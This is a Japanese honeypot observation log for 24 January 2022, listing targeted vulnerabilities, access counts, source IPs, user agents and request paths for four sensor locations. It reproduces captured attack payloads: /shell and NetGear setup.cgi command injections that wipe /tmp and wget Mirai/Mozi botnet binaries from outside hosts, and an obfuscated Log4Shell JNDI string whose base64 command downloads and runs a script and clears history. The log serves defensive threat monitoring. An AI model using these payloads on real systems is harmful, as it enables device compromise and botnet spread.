2022/01/24 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/01/24分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
/.gitへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  212.192.216.71/bins/arm;
chmod 777 /tmp/arm;
sh /tmp/arm selfrep.jaws

cd /tmp;
rm -rf *;
wget http://125.119.41.45:56557/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
Laravelへのスキャン行為

を確認しました。

Location:UK

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
/.gitへのスキャン行為

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.gitへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：123 (前日比：60)
US：総アクセス数：80 (前日比：-142)
UK：総アクセス数：40 (前日比：-129)
SG：総アクセス数：172 (前日比：107)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
14	13.89.223.12	United States
1	13.230.26.129	United States
2	20.62.100.83	United States
1	37.49.225.132	Belize
1	44.234.43.1	United States
8	45.146.165.37	Russia
2	54.81.5.203	United States
40	54.89.26.91	United States
1	78.128.112.14	Bulgaria
1	107.189.28.51	United States
1	109.237.103.9	Russia
12	119.28.114.205	China
2	121.5.118.155	China
1	125.119.41.45	China
1	128.199.160.152	United Kingdom
19	135.125.244.48	France
1	142.93.128.158	United States
2	159.203.160.245	United States
1	185.100.87.202	Seychelles
5	185.254.196.217	Ukraine
2	185.254.196.218	Ukraine
1	192.241.203.143	United States
1	192.241.212.202	United States
1	192.241.213.17	United States
1	195.171.217.74	United Kingdom
1	209.17.97.122	United States

UserAgent一覧

件数	UserAgent
16	`-`
1	`Hello, world`
1	`MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
14	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 zgrab/0.x`
1	`Python-urllib/3.6`
1	`Python/3.7 aiohttp/3.7.4.post0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x03`
1		`\x16\x03\x01\x01\x9c\x01`
2		`\x16\x03\x01\x01\xa6\x01`
1		`\x16\x03\x01\x01\xb3\x01`
1		`\x16\x03\x01\x01\xfa\x01`
3		`\x16\x03\x01`
1		`\x16\x03\x02\x01\x99\x01`
1		`\x16\x03\x03\x01G\x01`
1		`\x16\x03\x03\x01U\x01`
1		`\x16\x03\x03\x01\x98\x01`
2		`\x16\x03\x03\x01\xa4\x01`
34	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/index.php`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 212.192.216.71/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep[.]jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//125[.]119[.]41[.]45:56557/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.114.244.110	United States
1	27.203.146.131	China
1	34.74.41.34	United States
1	35.88.4.111	United States
25	45.33.65.249	United States
9	45.146.165.37	Russia
4	50.116.16.97	United States
5	51.79.29.48	Canada
1	52.139.151.114	United States
1	61.219.11.151	Taiwan
1	64.225.75.232	United States
1	67.222.158.186	United States
1	78.128.112.14	Bulgaria
1	79.124.62.106	Bulgaria
3	89.248.165.52	United Kingdom
2	94.232.43.63	Russia
2	107.189.12.178	United States
2	107.189.28.51	United States
1	107.189.29.181	United States
1	109.237.103.9	Russia
1	137.184.221.114	United States
2	145.239.154.85	France
1	157.245.39.166	United States
2	157.245.70.127	United States
1	159.203.160.245	United States
1	159.223.183.237	United States
2	162.250.124.123	United States
1	178.128.168.127	United States
1	192.241.205.25	United States
1	192.241.210.123	United States
1	192.241.214.42	United States
1	201.150.176.56	Bolivia
1	209.17.96.130	United States

UserAgent一覧

件数	UserAgent
18	`-`
5	`Mozila/5.0`
9	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML`
1	`Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36`
12	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`
3	`Mozilla/5.0 zgrab/0.x`
1	`Python-urllib/3.6`
3	`\"Mozilla/5.0`
22	`curl/7.54.0`
1	`t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoIC1vIGJpbnMuc2g7IHdnZXQgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgLi9iaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYw==}')`

リクエスト内容一覧

件数	Method	Request	Protocol
3		`-`
4		`\x03`
1		`\x16\x03\x01\x01\xfb\x01`
3		`\x16\x03\x01\x02`
1		`\x16\x03\x01`
1		`\x16\x03`
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
14	GET	`/.env`	HTTP/1.1
2	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
2	GET	`/HNAP1`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/TtFN`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/base.inc`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/default.html`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/home.pl`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/main.jsa`	HTTP/1.1
1	GET	`/nmaplowercheck1642926149`	HTTP/1.1
1	GET	`/nmaplowercheck1642963415`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//201[.]150[.]176[.]56:40837/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//27[.]203[.]146[.]131:35008/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/solr/admin/collections?action=t(%27$%7B$%7Benv:BARFOO:-j%7Dndi$%7Benv:BARFOO:-:%7D$%7Benv:BARFOO:-l%7Ddap$%7Benv:BARFOO:-:%7D//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoIC1vIGJpbnMuc2g7IHdnZXQgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgLi9iaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYw==%7D%27)&wt=json`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/start.cfm`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	HEAD	`/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
5	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.17.224.134	United States
1	20.114.244.110	United States
1	27.215.212.190	China
1	34.74.41.34	United States
1	35.88.43.254	United States
4	45.137.21.134	Bangladesh
5	45.146.165.37	Russia
1	61.219.11.151	Taiwan
1	67.222.158.173	United States
1	67.222.158.189	United States
1	78.128.112.14	Bulgaria
3	89.248.165.52	United Kingdom
2	94.232.43.63	Russia
1	107.189.12.178	United States
3	107.189.28.51	United States
1	109.237.103.9	Russia
2	159.203.160.245	United States
1	161.97.148.56	Germany
1	185.220.100.245	Germany
1	192.241.206.147	United States
1	192.241.211.173	United States
1	192.241.212.218	United States
1	192.241.212.226	United States
1	193.32.164.16	Russia
1	202.73.34.226	Singapore
1	209.17.96.130	United States
1	209.141.36.231	United States

UserAgent一覧

件数	UserAgent
10	`-`
4	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
5	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
4	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
4	`Mozilla/5.0 zgrab/0.x`
1	`Python-urllib/3.6`
1	`t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoIC1vIGJpbnMuc2g7IHdnZXQgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgLi9iaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYw==}')`

リクエスト内容一覧

件数	Method	Request	Protocol
3		`-`
4		`\x03`
1		`\x16\x03\x01`
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
5	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
4	GET	`/dispatch.asp`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/solr/admin/collections?action=t(%27$%7B$%7Benv:BARFOO:-j%7Dndi$%7Benv:BARFOO:-:%7D$%7Benv:BARFOO:-l%7Ddap$%7Benv:BARFOO:-:%7D//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoIC1vIGJpbnMuc2g7IHdnZXQgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgLi9iaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYw==%7D%27)&wt=json`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
4	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.114.244.110	United States
1	34.74.41.34	United States
1	35.88.43.254	United States
1	36.108.172.2	China
7	45.146.165.37	Russia
5	51.79.29.48	Canada
1	54.89.178.52	United States
1	64.225.75.232	United States
1	67.222.158.186	United States
1	79.124.62.106	Bulgaria
3	89.248.165.52	United Kingdom
1	101.0.41.47	India
1	107.189.28.51	United States
1	109.237.103.9	Russia
1	120.85.114.101	China
1	143.110.241.220	United States
133	147.0.165.214	United States
2	157.230.216.203	United States
1	159.203.160.245	United States
1	161.129.70.247	United States
1	182.117.180.236	China
1	188.119.51.126	Turkey
1	192.241.202.89	United States
1	192.241.207.247	United States
1	192.241.212.12	United States
1	206.189.226.24	United States
1	209.17.97.2	United States

UserAgent一覧

件数	UserAgent
12	`-`
1	`Hello, world`
1	`Mozila/5.0`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
132	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36`
10	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 zgrab/0.x`
1	`Python-urllib/3.6`
1	`t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5[.]181[.]80[.]103:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoIC1vIGJpbnMuc2g7IHdnZXQgaHR0cDovLzE0NS4yMzkuMjM0LjE1NC9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgLi9iaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYw==}')`

リクエスト内容一覧

件数	Method	Request	Protocol
3		`-`
1		`\x03`
1		`\x16\x03\x01\x01\xfb\x01`
1		`\x16\x03\x01`
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
11	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/2phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
2	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2011/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2014/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA2015/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2017/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2020/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2021/index.php?lang=en`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
4	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/mysql/admin/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/index.php?lang=en`	HTTP/1.1
4	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2014/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/phppma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2012/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2013/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2015/index.php?lang=en`	HTTP/1.1
3	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2018/index.php?lang=en`	HTTP/1.1
4	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2021/index.php?lang=en`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/program/index.php?lang=en`	HTTP/1.1
